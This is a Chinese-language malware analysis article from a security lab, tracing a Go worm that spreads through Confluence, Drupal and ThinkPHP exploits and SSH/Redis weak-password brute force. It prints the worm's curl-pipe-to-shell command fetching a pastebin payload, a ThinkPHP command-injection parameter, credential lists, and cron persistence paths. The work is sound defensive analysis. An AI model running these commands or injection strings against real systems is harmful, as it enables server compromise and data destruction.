Golang蠕虫泛滥?让我们揪出其始作俑者

2019 年 8 月 11 日 FreeBuf

概述

近日,国外安全网站SECURITYWEEK披露,一款Go语言恶意软件正大量感染Linux服务器,其使用了多达6种传播感染方式,包含4个远程执行漏洞(ThinkPHP、THinkPHP2、Dural、Confluence),2个弱密码爆破攻击(SSH、Redis)。深信服安全团队对该蠕虫进行了追踪。

目前为止,恶意软件较少会使用Go语言编写,这是由于依赖库的原因,编译出来的程序较为冗余,如下通过VT可以得知,该样本有近9M那么大。然而,使用Go语言也有一个好处,就是易于集成第三方的库。

逆向分析

对该样本进行反汇编,可以清晰地看到漏洞攻击对应的函数,其中Attack函数是主函数,依次调用getip和checkPort,来搜索同网段在线的主机IP,以及其开放端口,若发现有22、6379端口开放,则对其进行弱密码爆破;若发现有80端口,则对其进行漏洞扫描及攻击。

1、CVE_2019_3396

CVE_2019_3396是Confluence的漏洞,攻击exp如下,将payload存储于_template参数中。

2、Drupal

Drupal的攻击exp如下,对应的CVE编号为CVE-2018-7600。

3、ThinkPHP

ThinkPHP有两个漏洞利用,下面这个是CVE-2019-9082漏洞,使用function=call_user_func_array&vars[0]=system&vars[1][]=URL利用该漏洞执行命令。

4、ThinkPHP2

另一个漏洞利用跟上面的相似,攻击exp如下。

5、Redis爆破

Redis登陆不需要用户名,爆破会使用如下几个弱密码:admin、redis、root、123456、password、user、test。登陆成功后,蠕虫会先调用FlushAll删除所有数据库,然后创建一个root数据库来存放恶意代码,该代码同样会被创建到/var/spool/cron和/etc/cron.d中以实现持久化潜伏。

插入的是下面这个恶意代码,这个代码的意思是,每隔一分钟,就解密执行一次https://pastebin.com/raw/xvfxprtb的代码。

6、SSH爆破

SSH爆破使用的用户名为:root、admins、user、test,密码分别为:admins、root、test、user、123456、password。

从上面几个漏洞攻击和密码爆破的方式来看,攻击最后的目的都是为了执行命令:’curl -fsSLhttps://pastebin.com/raw/xvfxprtb) | base64 -d) | sh’,所以,这个url的代码应该就是攻击的核心代码。pastebin.com/raw/xvfxprtb的代码如下,是经过base64加密的。

解密后可以看见其主要操作,将m.jianlistore.com/images/qrcode/1414297564.jpg保存为本地的/tmp/.mysqli/mysqlc并执行,这个文件之前已经有文章分析过了,不再累赘:https://www.freebuf.com/articles/terminal/206170.html

事件追踪

回到刚刚的网址:pastebin.com/raw/xvfxprtb,对其进行追踪,将网址中的raw去掉,就可以看到该代码的发布者了,从下图中可以得知,该作者为NIDAYE222,代码是6月10号上传的,访问量迄今为止为18000+,说明该蠕虫的感染量大概也是这个数,感染数量也还在极速上升。

使用搜索引擎搜索nidaye222,可以发现,发布者在14天刚创建了个github账户,而在6月26号和30分别fork了漏洞扫描器kunpeng和开源挖矿xmrig,看来这个蠕虫的作者很有可能是从这得到了启发。

Kunpeng是一个开源的POC检测框架,也是使用go语言进行编写的,所以,不排除作者有复用其中漏洞利用代码的可能性。

Kunpeng目前为止收录了85个漏洞POC,其中也包含了该蠕虫所利用的漏洞,可想而知,只要作者愿意,他可以继续扩充如下漏洞攻击代码到蠕虫中去,所以,大家尽量打上相应的漏洞补丁,防止感染该病毒。

*本文作者:深信服千里目安全实验室,转载请注明来自FreeBuf.COM

精彩推荐


登录查看更多
0

相关内容

中文 WEB 应用开发框架
专知会员服务
42+阅读 · 2020年7月7日
【实用书】学习用Python编写代码进行数据分析,103页pdf
专知会员服务
190+阅读 · 2020年6月29日
【2020新书】使用高级C# 提升你的编程技能,412页pdf
专知会员服务
56+阅读 · 2020年6月26日
【ICMR2020】持续健康状态接口事件检索
专知会员服务
17+阅读 · 2020年4月18日
机器学习速查手册,135页pdf
专知会员服务
336+阅读 · 2020年3月15日
深度神经网络实时物联网图像处理,241页pdf
专知会员服务
76+阅读 · 2020年3月15日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
94+阅读 · 2019年12月4日
CALDERA 一款对手自动模拟工具
黑白之道
20+阅读 · 2019年9月17日
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
PC微信逆向:两种姿势教你解密数据库文件
黑客技术与网络安全
16+阅读 · 2019年8月30日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
I2P - 适用于黑客的Android应用程序
黑白之道
28+阅读 · 2019年3月6日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
DiscuzX 3.4 Phar反序列化漏洞
黑客工具箱
8+阅读 · 2019年1月4日
Python | 爬爬爬:爬百度云,爬百度贴吧,爬爱奇艺
计算机与网络安全
3+阅读 · 2018年3月30日
Arxiv
24+阅读 · 2020年3月11日
Deflecting Adversarial Attacks
Arxiv
8+阅读 · 2020年2月18日
Mesh R-CNN
Arxiv
4+阅读 · 2019年6月6日
3D-LaneNet: end-to-end 3D multiple lane detection
Arxiv
7+阅读 · 2018年11月26日
Arxiv
7+阅读 · 2018年4月11日
Arxiv
3+阅读 · 2015年5月16日
VIP会员
相关VIP内容
专知会员服务
42+阅读 · 2020年7月7日
【实用书】学习用Python编写代码进行数据分析,103页pdf
专知会员服务
190+阅读 · 2020年6月29日
【2020新书】使用高级C# 提升你的编程技能,412页pdf
专知会员服务
56+阅读 · 2020年6月26日
【ICMR2020】持续健康状态接口事件检索
专知会员服务
17+阅读 · 2020年4月18日
机器学习速查手册,135页pdf
专知会员服务
336+阅读 · 2020年3月15日
深度神经网络实时物联网图像处理,241页pdf
专知会员服务
76+阅读 · 2020年3月15日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
94+阅读 · 2019年12月4日
相关资讯
CALDERA 一款对手自动模拟工具
黑白之道
20+阅读 · 2019年9月17日
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
PC微信逆向:两种姿势教你解密数据库文件
黑客技术与网络安全
16+阅读 · 2019年8月30日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
I2P - 适用于黑客的Android应用程序
黑白之道
28+阅读 · 2019年3月6日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
DiscuzX 3.4 Phar反序列化漏洞
黑客工具箱
8+阅读 · 2019年1月4日
Python | 爬爬爬:爬百度云,爬百度贴吧,爬爱奇艺
计算机与网络安全
3+阅读 · 2018年3月30日
相关论文
Arxiv
24+阅读 · 2020年3月11日
Deflecting Adversarial Attacks
Arxiv
8+阅读 · 2020年2月18日
Mesh R-CNN
Arxiv
4+阅读 · 2019年6月6日
3D-LaneNet: end-to-end 3D multiple lane detection
Arxiv
7+阅读 · 2018年11月26日
Arxiv
7+阅读 · 2018年4月11日
Arxiv
3+阅读 · 2015年5月16日
Top
微信扫码咨询专知VIP会员